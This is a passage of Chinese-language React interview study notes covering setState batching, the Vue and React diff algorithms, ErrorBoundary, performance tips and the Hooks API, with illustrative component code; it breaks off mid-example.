  • 在大型系统中,全部更新DOM的成本太高,使用vdom把更新范围减少到最小

并不是所有的框架都在用vdomsvelte就不用vdom

# react组件渲染过程

  • JSX如何渲染为页面
  • setState之后如何更新页面
  • 面试考察全流程

1.组件渲染过程

  • 分析
    • propsstate 变化
    • render()生成vnode
    • patch(elem, vnode) 渲染到页面上(react并一定用patch
  • 渲染过程
    • setState(newState) => newState存入pending队列,判断是否处于batchUpdate状态,保存组件于dirtyComponents中(可能有子组件)
    • 遍历所有的dirtyComponents调用updateComponent生成newVnode
    • patch(vnode,newVnode) 2.组件更新过程
  • patch更新被分为两个阶段
    • reconciliation阶段:执行diff算法,纯JS计算
    • commit阶段:将diff结果渲染到DOM
  • 如果不拆分,可能有性能问题
    • JS是单线程的,且和DOM渲染共用一个线程
    • 当组件足够复杂,组件更新时计算和渲染都压力大
    • 同时再有DOM操作需求(动画、鼠标拖拽等)将卡顿
  • 解决方案Fiber
    • reconciliation阶段拆分为多个子任务
    • DOM需要渲染时更新,空闲时恢复在执行计算
    • 通过window.requestIdleCallback来判断浏览器是否空闲

# React setState经典面试题

// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
  constructor() {
  super()
  this.state = {
    val: 0
  }
}
componentDidMount() {
  this.setState({ val: this.state.val + 1 })
  console.log(this.state.val)
  // 第 1 次 log
  this.setState({ val: this.state.val + 1 })
  console.log(this.state.val)
  // 第 2 次 log
  setTimeout(() => {
    this.setState({ val: this.state.val + 1 }) 
    console.log(this.state.val)
    // 第 3 次 log
    this.setState({ val: this.state.val + 1 })
    console.log(this.state.val)
    // 第 4 次 log
    }, 0)
  }
  render() {
    return null
  }
}
// 答案
0
0
2
3
  • 关于setState的两个考点
    • 同步或异步
    • state合并或不合并
      • setState传入函数不会合并覆盖
      • setState传入对象会合并覆盖Object.assigin({})
  • 分析
    • 默认情况
      • state默认异步更新
      • state默认合并后更新(后面的覆盖前面的,多次重复执行不会累加)
    • setState在合成事件和生命周期钩子中,是异步更新的
    • react同步更新,不在react上下文中触发
      • 原生事件setTimeoutsetIntervalpromise.thenAjax回调中,setState是同步的,可以马上获取更新后的值
        • 原生事件如document.getElementById('test').addEventListener('click',()=>{this.setState({count:this.state.count + 1}})
      • 原因: 原生事件是浏览器本身的实现,与事务流无关,自然是同步;而setTimeout是放置于定时器线程中延后执行,此时事务流已结束,因此也是同步
    • 注意:在react18中不一样
      • 上述场景,在react18中可以异步更新(Auto Batch
      • 需将ReactDOM.render替换为ReactDOM.createRoot

如需要实时获取结果,在回调函数中获取 setState({count:this.state.count + 1},()=>console.log(this.state.count)})

// setState原理模拟
let isBatchingUpdate = true;

let queue = [];
let state = {number:0};
function setState(newSate){
  //state={...state,...newSate}
  // setState异步更新
  if(isBatchingUpdate){
    queue.push(newSate);
  }else{
    // setState同步更新
    state={...state,...newSate}
  }   
}

// react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true
// 模拟react中事件点击
function handleClick(){
  isBatchingUpdate=true; // 批量更新标志

  /**我们自己逻辑开始 */
  setState({number:state.number+1});
  setState({number:state.number+1});
  console.log(state); // 0
  setState({number:state.number+1});
  console.log(state); // 0
  /**我们自己逻辑结束 */

  state= queue.reduce((newState,action)=>{
    return {...newState,...action}
  },state); 
}
handleClick();
console.log(state); // 1
// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
  constructor() {
  super()
  this.state = {
    val: 0
  }
}
// componentDidMount中isBatchingUpdate=true setState批量更新
componentDidMount() {
  // setState传入对象会合并,后面覆盖前面的Object.assign({})
  this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理 
  console.log(this.state.val)
  // 第 1 次 log
  this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
  console.log(this.state.val)
  // 第 2 次 log
  setTimeout(() => {
    // 到这里this.state.val结果等于1了
    // 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值
    this.setState({ val: this.state.val + 1 }) // 同步更新
    console.log(this.state.val)
    // 第 3 次 log
    this.setState({ val: this.state.val + 1 }) // 同步更新
    console.log(this.state.val)
    // 第 4 次 log
    }, 0)
  }
  render() {
    return null
  }
}

// 答案:0, 0, 2, 3

React 18之前,setStateReact的合成事件中是合并更新的,在setTimeout的原生事件中是同步按序更新的。例如

handleClick = () => {
  this.setState({ age: this.state.age + 1 });
  console.log(this.state.age); // 0
  this.setState({ age: this.state.age + 1 });
  console.log(this.state.age); // 0
  this.setState({ age: this.state.age + 1 });
  console.log(this.state.age); // 0
  setTimeout(() => {
    this.setState({ age: this.state.age + 1 });
    console.log(this.state.age); // 2
    this.setState({ age: this.state.age + 1 });
    console.log(this.state.age); // 3
  });
};

而在React 18中,不论是在合成事件中,还是在宏任务中,都是会合并更新

function handleClick() {
  setState({ age: state.age + 1 }, onePriority);
  console.log(state.age);// 0
  setState({ age: state.age + 1 }, onePriority);
  console.log(state.age); // 0
  setTimeout(() => {
    setState({ age: state.age + 1 }, towPriority);
    console.log(state.age); // 1
    setState({ age: state.age + 1 }, towPriority);
    console.log(state.age); // 1
  });
}
// 拓展:setState传入函数不会合并
class Example extends React.Component {
  constructor() {
  super()
  this.state = {
    val: 0
  }
}
componentDidMount() {
  this.setState((prevState,props)=>{
    return {val: prevState.val + 1}
  })
  console.log(this.state.val) // 0
  // 第 1 次 log
  this.setState((prevState,props)=>{ // 传入函数,不会合并覆盖前面的
    return {val: prevState.val + 1}
  })
  console.log(this.state.val) // 0
  // 第 2 次 log
  setTimeout(() => {
    // setTimeout中setState同步执行
    // 到这里this.state.val结果等于2了
    this.setState({ val: this.state.val + 1 }) 
    console.log(this.state.val) // 3
    // 第 3 次 log
    this.setState({ val: this.state.val + 1 })
    console.log(this.state.val) // 4
    // 第 4 次 log
    }, 0)
  }
  render() {
    return null
  }
}
// 答案:0 0 3 4 
// react hooks中打印

function useStateDemo() {
  const [value, setValue] = useState(100)

  function clickHandler() {
    // 1.传入常量,state会合并
    setValue(value + 1)
    setValue(value + 1)
    console.log(1, value) // 100
    // 2.传入函数,state不会合并
    setValue(value=>value + 1)
    setValue(value=>value + 1)
    console.log(2, value) // 100

    // 3.setTimeout中,React18也开始合并state(之前版本会同步更新、不合并)
    setTimeout(()=>{
      setValue(value + 1)
      setValue(value + 1)
      console.log(3, value) // 100
      setValue(value + 1)
    })

    // 4.同理 setTimeout中,传入函数不合并
    setTimeout(()=>{
      setValue(value => value + 1)
      setValue(value => value + 1)
      console.log(4, value) // 100
    })
  }
  return (
    <button onClick={clickHandler}>点击 {value}</button>
  )
}

连环问:setState是宏任务还是微任务

  • setState本质是同步的
    • setState是同步的,不过让react做成异步更新的样子而已
      • 如果setState是微任务,就不应该在promise.then微任务之前打印出来(promise then微任务先注册)
    • 因为要考虑性能,多次state修改,只进行一次DOM渲染
    • 日常所说的“异步”是不严谨的,但沟通成本低
  • 总结
    • setState是同步执行,state都是同步更新(只是我们日常把setState当异步来处理)
    • 在微任务promise.then之前,state已经计算完了
    • 同步,不是微任务或宏任务
import React from 'react'

class Example extends React.Component {
  constructor() {
    super()
    this.state = {
      val: 0
    }
  }

  clickHandler = () => {
    // react事件中 setState异步执行
    console.log('--- start ---')

    Promise.resolve().then(() => console.log('promise then') /* callback */)

    // “异步”
    this.setState(
      { val: this.state.val + 1 },
      () => { console.log('state callback...', this.state) } // callback
    )

    console.log('--- end ---')

    // 结果: 
    // start 
    // end
    // state callback {val:1} 
    // promise then 

    // 疑问?
    // promise then微任务先注册的,按理应该先打印promise then再到state callback
    // 因为:setState本质是同步的,不过让react做成异步更新的样子而已
    // 因为要考虑性能,多次state修改,只进行一次DOM渲染
  }

  componentDidMount() {
    setTimeout(() => {
      // setTimeout中setState是同步更新
      console.log('--- start ---')

      Promise.resolve().then(() => console.log('promise then'))

      this.setState(
        { val: this.state.val + 1 }
      )
      console.log('state...', this.state)
  
      console.log('--- end ---')
    })

    // 结果: 
    // start 
    // state {val:1} 
    // end
    // promise then 
  }

  render() {
    return <p id="p1" onClick={this.clickHandler}>
      setState demo: {this.state.val}
    </p>
  }
}

# React useEffect闭包陷阱问题

问:按钮点击三次后,定时器输出什么?

function useEffectDemo() {
  const [value,setValue] = useState(0)

  useEffect(()=>{
    setInterval(()=>{
      console.log(value)
    },1000)
  }, [])

  const clickHandler = () => {
    setValue(value + 1)
  }

  return (
    <div>
      value: {value} <button onClick={clickHandler}>点击</button>
    </div>
  )
}

答案一直是0 useEffect闭包陷阱问题,useEffect依赖是空的,只会执行一次。setInterval中的value就只会获取它之前的变量。而react有个特点,每次value变化都会重新执行useEffectDemo这个函数。点击了三次函数会执行三次,三次过程中每个函数中value都不一样,setInterval获取的永远是第一个函数里面的0

// 追问:怎么才能打印出3?

function useEffectDemo() {
  const [value,setValue] = useState(0)

  useEffect(()=>{
    const timer = setInterval(()=>{
      console.log(value) // 3
    },1000)
    return ()=>{
      clearInterval(timer) // value变化会导致useEffectDemo函数多次执行,多次执行需要清除上一次的定时器,否则多次注册定时器
    }
  }, [value]) // 这里增加依赖项,每次依赖变化都会重新执行

  const clickHandler = () => {
    setValue(value + 1)
  }

  return (
    <div>
      value: {value} <button onClick={clickHandler}>点击</button>
    </div>
  )
}

# Vue React diff 算法有什么区别

diff 算法

  • Vue React diff 不是对比文字,而是 vdom 树,即 tree diff
  • 传统的 tree diff 算法复杂度是 O(n^3) ,算法不可用。

优化

Vue React 都是用于网页开发,基于 DOM 结构,对 diff 算法都进行了优化(或者简化)

  • 只在同一层级比较,不跨层级(DOM 结构的变化,很少有跨层级移动)
  • tag 不同则直接删掉重建,不去对比内部细节(DOM 结构变化,很少有只改外层,不改内层)
  • 同一个节点下的子节点,通过 key 区分

最终把时间复杂度降低到 O(n) ,生产环境下可用。这一点 Vue React 都是相同的。

React diff 特点 - 仅向右移动

比较子节点时,仅向右移动,不向左移动。

Vue2 diff 特点 - 双端比较

定义四个指针,分别比较

  • oldStartNodenewStartNode
  • oldStartNodenewEndNode
  • oldEndNodenewStartNode
  • oldEndNodenewEndNode

然后指针继续向中间移动,直到指针汇合

Vue3 diff 特点 - 最长递增子序列

例如数组 [3,5,7,1,2,8] 的最长递增子序列就是 [3,5,7,8 ] 。这是一个专门的算法。

算法步骤

  • 通过“前-前”比较找到开始的不变节点 [A, B]
  • 通过“后-后”比较找到末尾的不变节点 [G]
  • 剩余的有变化的节点 [F, C, D, E, H]
    • 通过 newIndexToOldIndexMap 拿到 oldChildren 中对应的 index [5, 2, 3, 4, -1]-1 表示之前没有,要新增)
    • 计算最长递增子序列得到 [2, 3, 4] ,对应的就是 [C, D, E] ,即这些节点可以不变
    • 剩余的节点,根据 index 进行新增、删除

该方法旨在尽量减少 DOM 的移动,达到最少的DOM操作

总结

  • React diff 特点 - 仅向右移动
  • Vue2 diff 特点 - updateChildren双端比较
  • Vue3 diff 特点 - updateChildren增加了最长递增子序列,更快
    • Vue3增加了patchFlag、静态提升、函数缓存等

连环问:diff 算法中 key 为何如此重要

无论在 Vue 还是 React 中,key 的作用都非常大。以 React 为例,是否使用 key 对内部 DOM 变化影响非常大。

<ul>
  <li v-for="(index, num) in nums" :key="index">
    {{num}}
  </li>
</ul>
const todoItems = todos.map((todo) =>
  <li key={todo.id}>
    {todo.text}
  </li>
)

# 如何统一监听React组件报错

  • ErrorBoundary组件
    • react16版本之后,增加了ErrorBoundary组件
    • 监听所有下级组件报错,可降级展示UI
    • 只监听组件渲染时报错,不监听DOM事件错误、异步错误
      • ErrorBoundary没有办法监听到点击按钮时候的在click的时候报错
      • 只能监听组件从一开始渲染到渲染成功这段时间报错,渲染成功后在怎么操作产生的错误就不管了
      • 可用try catch或者window.onerror(二选一)
    • 只在production环境生效(需要打包之后查看效果),dev会直接抛出错误
  • 总结
    • ErrorBoundary监听组件渲染报错
    • 事件报错使用try catchwindow.onerror
    • 异步报错使用window.onerror
// ErrorBoundary.js

import React from 'react'

class ErrorBoundary extends React.Component {
  constructor(props) {
    super(props)
    this.state = {
      error: null // 存储当前的报错信息
    }
  }
  static getDerivedStateFromError(error) {
    // 更新 state 使下一次渲染能够显示降级后的 UI
    console.info('getDerivedStateFromError...', error)
    return { error } // return的信息会等于this.state的信息
  }
  componentDidCatch(error, errorInfo) {
    // 统计上报错误信息
    console.info('componentDidCatch...', error, errorInfo)
  }
  render() {
    if (this.state.error) {
      // 提示错误
      return <h1>报错了</h1>
    }

    // 没有错误,就渲染子组件
    return this.props.children
  }
}
// index.js 中使用
import React from 'react';
import ReactDOM from 'react-dom';
import App from './App';
import ErrorBoundary from './ErrorBoundary'

ReactDOM.render(
  <React.StrictMode>
    <ErrorBoundary>
      <App />
    </ErrorBoundary>
  </React.StrictMode>,
  document.getElementById('root')
);

# 在实际工作中,你对React做过哪些优化

  • 修改CSS模拟v-show
    // 原始写法
    {!flag && <MyComonent style={{display:'none'}} />}
    {flag && <MyComonent />}
    
    // 模拟v-show
    {<MyComonent style={{display:flag ? 'block' : 'none'}} />}
    
  • 循环使用key
    • key不要用index
  • 使用Flagment或<></>空标签包裹减少多个层级组件的嵌套
  • jsx中不要定义函数JSX会被频繁执行的
    // bad 
    // react中的jsx被频繁执行(state更改)应该避免函数被多次新建
    <button onClick={()=>{}}>点击</button>
    // goods
    function useButton() {
      const handleClick = ()=>{}
      return <button onClick={handleClick}>点击</button>
    }
    
  • 使用shouldComponentUpdate
    • 判断组件是否需要更新
    • 或者使用React.PureComponent比较props第一层属性
    • 函数组件使用React.memo(comp, fn)包裹 function fn(prevProps,nextProps) {// 自己实现对比,像shouldComponentUpdate}
  • Hooks缓存数据和函数
    • useCallback: 缓存回调函数,避免传入的回调每次都是新的函数实例而导致依赖组件重新渲染,具有性能优化的效果
    • useMemo: 用于缓存传入的 props,避免依赖的组件每次都重新渲染
  • 使用异步组件
    import React,{lazy,Suspense} from 'react'
    const OtherComp = lazy(/**webpackChunkName:'OtherComp'**/ ()=>import('./otherComp'))
    
    function MyComp(){
      return (
        <Suspense fallback={<div>loading...</div>}>
          <OtherComp />
        </Suspense>
      )
    }
    
  • 路由懒加载
    import React,{lazy,Suspense} from 'react'
    import {BrowserRouter as Router,Route, Switch} from 'react-router-dom'
    
    const Home = lazy(/**webpackChunkName:'h=Home'**/()=>import('./Home'))
    const List = lazy(/**webpackChunkName:'List'**/()=>import('./List'))
    
    const App = ()=>(
      <Router>
        <Suspense fallback={<div>loading...</div>}>
          <Switch>
            <Route exact path='/' component={Home} />
            <Route exact path='/list' component={List} />
          </Switch>
        </Suspense>
      </Router>
    )
    
  • 使用SSRNext.js

连环问:你在使用React时遇到过哪些坑

  • 自定义组件的名称首字母要大写

    // 原生html组件
    <input />
    
    // 自定义组件
    <Input />
    
  • JS关键字的冲突

    // for改成htmlFor,class改成className
    <label htmlFor="input-name" className="label">
      用户名 <input id="username" />
    </label>
    
  • JSX数据类型

    // correct
    <Demo flag={true} />
    // error
    <Demo flag="true" />
    
  • setState不会马上获取最新的结果

    • 如需要实时获取结果,在回调函数中获取 setState({count:this.state.count + 1},()=>console.log(this.state.count)})
    • setState在合成事件和生命周期钩子中,是异步更新的
    • 原生事件setTimeout中,setState是同步的,可以马上获取更新后的值;
    • 原因: 原生事件是浏览器本身的实现,与事务流无关,自然是同步;而setTimeout是放置于定时器线程中延后执行,此时事务流已结束,因此也是同步;
    // setState原理模拟
    let isBatchingUpdate = true;
    
    let queue = [];
    let state = {number:0};
    function setState(newSate){
      //state={...state,...newSate}
      // setState异步更新
      if(isBatchingUpdate){
        queue.push(newSate);
      }else{
        // setState同步更新
        state={...state,...newSate}
      }   
    }
    
    // react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true
    // 模拟react中事件点击
    function handleClick(){
      isBatchingUpdate=true; // 批量更新标志
    
      /**我们自己逻辑开始 */
      setState({number:state.number+1});
      setState({number:state.number+1});
      console.log(state); // 0
      setState({number:state.number+1});
      console.log(state); // 0
      /**我们自己逻辑结束 */
    
      state= queue.reduce((newState,action)=>{
        return {...newState,...action}
      },state); 
    }
    handleClick();
    console.log(state); // 1
    
    // setState笔试题考察 下面这道题输出什么
    class Example extends React.Component {
      constructor() {
      super()
      this.state = {
        val: 0
      }
    }
    // componentDidMount中isBatchingUpdate=true setState批量更新
    componentDidMount() {
      this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
      console.log(this.state.val)
      // 第 1 次 log
      this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
      console.log(this.state.val)
      // 第 2 次 log
      setTimeout(() => {
        // 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值
        this.setState({ val: this.state.val + 1 }) // 同步更新
        console.log(this.state.val)
        // 第 3 次 log
        this.setState({ val: this.state.val + 1 }) // 同步更新
        console.log(this.state.val)
        // 第 4 次 log
        }, 0)
      }
      render() {
        return null
      }
    }
    
    // 答案:0, 0, 2, 3
    

# React真题

1. 函数组件和class组件区别

  • 纯函数,输入props,输出JSX
  • 没有实例、没有生命周期、没有state
  • 不能拓展其他方法

2. 什么是受控组件

  • 表单的值,受到state控制
  • 需要自行监听onChange,更新state
  • 对比非受控组件

3. 何时使用异步组件

  • 加载大组件
  • 路由懒加载

4. 多个组件有公共逻辑如何抽离

  • HOC高阶组件
  • Render Props
  • React Hooks

5. react router如何配置懒加载

6. react和vue的区别

共同

  • 都支持组件化
  • 都是数据驱动视图
  • 都用vdom操作DOM

区别

  • React使用JSX拥抱JSVue使用模板拥抱HTML
  • React函数式编程,Vue是声明式编程
  • React更多的是自力更生,Vue把你想要的都给你

# 7 React Hooks

# class组件存在哪些问题

  • 函数组件的特点
    • 没有组件实例
    • 没有生命周期
    • 没有statesetState,只能接收props
  • class组件问题
    • 大型组件很难拆分和重构,很难测试
    • 相同的业务逻辑分散到各个方法中,逻辑混乱
    • 复用逻辑变得复杂,如MixinsHOCRender Props
  • react组件更易用函数表达
    • React提倡函数式编程,View = fn(props)
    • 函数更灵活,更易于拆分,更易测试
    • 但函数组件太简单,需要增强能力—— 使用hooks

# 用useState实现state和setState功能

让函数组件实现state和setState

  • 默认函数组件没有state
  • 函数组件是一个纯函数,执行完即销毁,无法存储state
  • 需要state hook,即把state“钩”到纯函数中(保存到闭包中)

hooks命名规范

  • 规定所有的hooks都要以use开头,如useXX
  • 自定义hook也要以use开头
// 使用hooks
import React, { useState } from 'react'

function ClickCounter() {
    // 数组的解构
    // useState 就是一个 Hook “钩”,最基本的一个 Hook
    const [count, setCount] = useState(0) // 传入一个初始值

    const [name, setName] = useState('test')

    // const arr = useState(0)
    // const count = arr[0]
    // const setCount = arr[1]

    function clickHandler() {
        setCount(count + 1)
        setName(name + '2020')
    }

    return <div>
        <p>你点击了 {count}{name}</p>
        <button onClick={clickHandler}>点击</button>
    </div>
}

export default ClickCounter
// 使用class

import React from 'react'

class ClickCounter extends React.Component {
    constructor() {
        super()

        // 定义 state
        this.state = {
            count: 0,
            name: 'test'
        }
    }
    render() {
        return <div>
            <p>你点击了 {this.state.count}{this.state.name}</p>
            <button onClick={this.clickHandler}>点击</button>
        </div>
    }
    clickHandler = ()=> {
        // 修改 state
        this.setState({
            count: this.state.count + 1,
            name: this.state.name + '2020'
        })
    }
}

export default ClickCounter

# 用useEffect模拟组件生命周期

让函数组件模拟生命周期

  • 默认函数组件没有生命周期
  • 函数组件是一个纯函数,执行完即销毁,自己无法实现生命周期
  • 使用Effect Hook把生命周期"钩"到纯函数中

useEffect让纯函数有了副作用

  • 默认情况下,执行纯函数,输入参数,返回结果,无副作用
  • 所谓副作用,就是对函数之外造成影响,如设置全局定时器
  • 而组件需要副作用,所以需要有useEffect钩到纯函数中

总结

  • 模拟componentDidMountuseEffect依赖[]
  • 模拟componentDidUpdateuseEffect依赖[a,b]或者useEffect(fn)没有写第二个参数
  • 模拟componentWillUnmountuseEffect返回一个函数
  • 注意useEffect(fn)没有写第二个参数:同时模拟componentDidMount + componentDidUpdate
import React, { useState, useEffect } from 'react'

function LifeCycles() {
    const [count, setCount] = useState(0)
    const [name, setName] = useState('test')

    // // 模拟 class 组件的 DidMount 和 DidUpdate
    // useEffect(() => {
    //     console.log('在此发送一个 ajax 请求')
    // })

    // // 模拟 class 组件的 DidMount
    // useEffect(() => {
    //     console.log('加载完了')
    // }, []) // 第二个参数是 [] (不依赖于任何 state)

    // // 模拟 class 组件的 DidUpdate
    // useEffect(() => {
    //     console.log('更新了')
    // }, [count, name]) // 第二个参数就是依赖的 state

    // 模拟 class 组件的 DidMount
    useEffect(() => {
        let timerId = window.setInterval(() => {
            console.log(Date.now())
        }, 1000)

        // 返回一个函数
        // 模拟 WillUnMount
        return () => {
            window.clearInterval(timerId)
        }
    }, [])

    function clickHandler() {
        setCount(count + 1)
        setName(name + '2020')
    }

    return <div>
        <p>你点击了 {count}{name}</p>
        <button onClick={clickHandler}>点击</button>
    </div>
}

export default LifeCycles

# 用useEffect模拟WillUnMount时的注意事项

useEffect中返回函数

  • useEffect依赖项[],组件销毁是执行fn,等于willUnmount
  • useEffect第二个参数没有或依赖项[a,b],组件更新时执行fn,即下次执行useEffect之前,就会执行fn,无论更新或卸载(props更新会导致willUnmount多次执行)
import React from 'react'

class FriendStatus extends React.Component {
    constructor(props) {
        super(props)
        this.state = {
            status: false // 默认当前不在线
        }
    }
    render() {
        return <div>
            好友 {this.props.friendId} 在线状态:{this.state.status}
        </div>
    }
    componentDidMount() {
        console.log(`开始监听 ${this.props.friendId} 的在线状态`)
    }
    componentWillUnMount() {
        console.log(`结束监听 ${this.props.friendId} 的在线状态`)
    }
    // friendId 更新
    componentDidUpdate(prevProps) {
        console.log(`结束监听 ${prevProps.friendId} 在线状态`)
        console.log(`开始监听 ${this.props.friendId} 在线状态`)
    }
}

export default FriendStatus
import React, { useState, useEffect } from 'react'

function FriendStatus({ friendId }) {
    const [status, setStatus] = useState(false)

    // DidMount 和 DidUpdate
    useEffect(() => {
        console.log(`开始监听 ${friendId} 在线状态`)

        // 【特别注意】
        // 此处并不完全等同于 WillUnMount
        // props 发生变化,即更新,也会执行结束监听
        // 准确的说:返回的函数,会在下一次 effect 执行之前,被执行
        return () => {
            console.log(`结束监听 ${friendId} 在线状态`)
        }
    })

    return <div>
        好友 {friendId} 在线状态:{status.toString()}
    </div>
}

export default FriendStatus

# useRef和useContext

1. useRef

import React, { useRef, useEffect } from 'react'

function UseRef() {
    const btnRef = useRef(null) // 初始值

    // const numRef = useRef(0)
    // numRef.current

    useEffect(() => {
        console.log(btnRef.current) // DOM 节点
    }, [])

    return <div>
        <button ref={btnRef}>click</button>
    </div>
}

export default UseRef

2. useContext

import React, { useContext } from 'react'

// 主题颜色
const themes = {
    light: {
        foreground: '#000',
        background: '#eee'
    },
    dark: {
        foreground: '#fff',
        background: '#222'
    }
}

// 创建 Context
const ThemeContext = React.createContext(themes.light) // 初始值

function ThemeButton() {
    const theme = useContext(ThemeContext)

    return <button style={{ background: theme.background, color: theme.foreground }}>
        hello world
    </button>
}

function Toolbar() {
    return <div>
        <ThemeButton></ThemeButton>
    </div>
}

function App() {
    return <ThemeContext.Provider value={themes.dark}>
        <Toolbar></Toolbar>
    </ThemeContext.Provider>
}

export default App

# useReducer能代替redux吗

  • useReduceruseState的代替方案,用于state复杂变化
  • useReducer是单个组件状态管理,组件通讯还需要props
  • redux是全局的状态管理,多组件共享数据
import React, { useReducer } from 'react'

const initialState = { count: 0 }

const reducer = (state, action) => {
    switch (action.type) {
        case 'increment':
            return { count: state.count + 1 }
        case 'decrement':
            return { count: state.count - 1 }
        default:
            return state
    }
}

function App() {
    // 很像 const [count, setCount] = useState(0)
    const [state, dispatch] = useReducer(reducer, initialState)

    return <div>
        count: {state.count}
        <button onClick={() => dispatch({ type: 'increment' })}>increment</button>
        <button onClick={() => dispatch({ type: 'decrement' })}>decrement</button>
    </div>
}

export default App

# 使用useMemo做性能优化

  • 状态变化,React会默认更新所有子组件
  • class组件使用shouldComponentUpdatePureComponent优化
  • Hooks中使用useMemo缓存对象,避免子组件更新
  • useMemo需要配合React.memo使用才生效
import React, { useState, memo, useMemo } from 'react'

// 子组件
// function Child({ userInfo }) {
//     console.log('Child render...', userInfo)

//     return <div>
//         <p>This is Child {userInfo.name} {userInfo.age}</p>
//     </div>
// }
// 类似 class PureComponent ,对 props 进行浅层比较
const Child = memo(({ userInfo }) => {
    console.log('Child render...', userInfo)

    return <div>
        <p>This is Child {userInfo.name} {userInfo.age}</p>
    </div>
})

// 父组件
function App() {
    console.log('Parent render...')

    const [count, setCount] = useState(0)
    const [name, setName] = useState('test')

    // const userInfo = { name, age: 20 }
    // 用 useMemo 缓存数据,有依赖
    // useMemo包裹后返回的对象是同一个,没有创建新的对象地址,不会触发子组件的重新渲染
    const userInfo = useMemo(() => {
        return { name, age: 21 }
    }, [name])

    return <div>
        <p>
            count is {count}
            <button onClick={() => setCount(count + 1)}>click</button>
        </p>
        <Child userInfo={userInfo}></Child>
    </div>
}

export default App

# 使用useCallback做性能优化

  • Hooks中使用useCallback缓存函数,避免子组件更新
  • useCallback需要配合React.memo使用才生效
import React, { useState, memo, useMemo, useCallback } from 'react'

// 子组件,memo 相当于 PureComponent
const Child = memo(({ userInfo, onChange }) => {
    console.log('Child render...', userInfo)

    return <div>
        <p>This is Child {userInfo.name} {userInfo.age}</p>
        <input onChange={onChange}></input>
    </div>
})

// 父组件
function App() {
    console.log('Parent render...')

    const [count, setCount] = useState(0)
    const [name, setName] = useState('test')

    // 用 useMemo 缓存数据
    const userInfo = useMemo(() => {
        return { name, age: 21 }
    }, [name])

    // function onChange(e) {
    //     console.log(e.target.value)
    // }
    // 用 useCallback 缓存函数,避免在组件多次渲染中多次创建函数导致引用地址一致
    const onChange = useCallback(e => {
        console.log(e.target.value)
    }, [])

    return <div>
        <p>
            count is {count}
            <button onClick={() => setCount(count + 1)}>click</button>
        </p>
        <Child userInfo={userInfo} onChange={onChange}></Child>
    </div>
}

export default App

# 什么是自定义Hook

  • 封装通用的功能
  • 开发和使用第三方Hooks
  • 自定义Hooks带来无限的拓展性,解耦代码
import { useState, useEffect } from 'react'
import axios from 'axios'

// 封装 axios 发送网络请求的自定义 Hook
function useAxios(url) {
    const [loading, setLoading] = useState(false)
    const [data, setData] = useState()
    const [error, setError] = useState()

    useEffect(() => {
        // 利用 axios 发送网络请求
        setLoading(true)
        axios.get(url) // 发送一个 get 请求
            .then(res => setData(res))
            .catch(err => setError(err))
            .finally(() => setLoading(false))
    }, [url])

    return [loading, data, error]
}

export default useAxios

// 第三方 Hook
// https://nikgraf.github.io/react-hooks/
// https://github.com/umijs/hooks
import { useState, useEffect } from 'react'

function useMousePosition() {
    const [x, setX] = useState(0)
    const [y, setY] = useState(0)

    useEffect(() => {
        function mouseMoveHandler(event) {
            setX(event.clientX)
            setY(event.clientY)
        }

        // 绑定事件
        document.body.addEventListener('mousemove', mouseMoveHandler)

        // 解绑事件
        return () => document.body.removeEventListener('mousemove', mouseMoveHandler)
    }, [])

    return [x, y]
}

export default useMousePosition
// 使用
function App() {
    const url = 'http://localhost:3000/'
    // 数组解构
    const [loading, data, error] = useAxios(url)

    if (loading) return <div>loading...</div>

    return error
        ? <div>{JSON.stringify(error)}</div>
        : <div>{JSON.stringify(data)}</div>

    // const [x, y] = useMousePosition()
    // return <div style={{ height: '500px', backgroundColor: '#ccc' }}>
    //     <p>鼠标位置 {x} {y}</p>
    // </div>
}

# 使用Hooks的两条重要规则

  • 只能用于函数组件和自定义Hook中,其他地方不可以
  • 只能用于顶层代码,不能在判断、循环中使用Hooks
  • eslint插件eslint-plugin-react-hooks可以帮助检查Hooks的使用规则

# 为何Hooks要依赖于调用顺序

  • 无论是render还是re-renderHooks调用顺序必须一致
  • 如果Hooks出现在循环、判断里,则无法保证顺序一致
  • Hooks严重依赖调用顺序
import React, { useState, useEffect } from 'react'

function Teach({ couseName }) {
    // 函数组件,纯函数,执行完即销毁
    // 所以,无论组件初始化(render)还是组件更新(re-render)
    // 都会重新执行一次这个函数,获取最新的组件
    // 这一点和 class 组件不一样:有组件实例,组件实例一旦声声明不会销毁(除非组件销毁)

    // render: 初始化 state 的值 '张三'
    // re-render: 读取 state 的值 '张三'
    const [studentName, setStudentName] = useState('张三')

    // if (couseName) {
    //     const [studentName, setStudentName] = useState('张三')
    // }

    // render: 初始化 state 的值 'poetry'
    // re-render: 读取 state 的值 'poetry'
    const [teacherName, setTeacherName] = useState('poetry')

    // if (couseName) {
    //     useEffect(() => {
    //         // 模拟学生签到
    //         localStorage.setItem('name', studentName)
    //     })
    // }

    // render: 添加 effect 函数
    // re-render: 替换 effect 函数(内部的函数也会重新定义)
    useEffect(() => { // 内部函数执行完就销毁
        // 模拟学生签到
        localStorage.setItem('name', studentName)
    })

    // render: 添加 effect 函数
    // re-render: 替换 effect 函数(内部的函数也会重新定义)
    useEffect(() => {// 内部函数执行完就销毁
        // 模拟开始上课
        console.log(`${teacherName} 开始上课,学生 ${studentName}`)
    })

    return <div>
        课程:{couseName},
        讲师:{teacherName},
        学生:{studentName}
    </div>
}

export default Teach

# class组件逻辑复用有哪些问题

  • 高级组件HOC
    • 组件嵌套层级过多,不易于渲染、调试
    • HOC会劫持props,必须严格规范
  • Render Props
    • 学习成本高,不利于理解
    • 只能传递纯函数,而默认情况下纯函数功能有限

# Hooks组件逻辑复用有哪些好处

  • 变量作用域很明确
  • 不会产生组件嵌套

# Hooks使用中的几个注意事项

  • useState初始化值,只有第一次有效
  • useEffect内部不能修改state,第二个参数需要是空的依赖[]
  • useEffect可能出现死循环,依赖[]里面有对象、数组等引用类型,把引用类型拆解为值类型
// 第一个坑:`useState`初始化值,只有第一次有效
import React, { useState } from 'react'

// 子组件
function Child({ userInfo }) {
    // render: 初始化 state
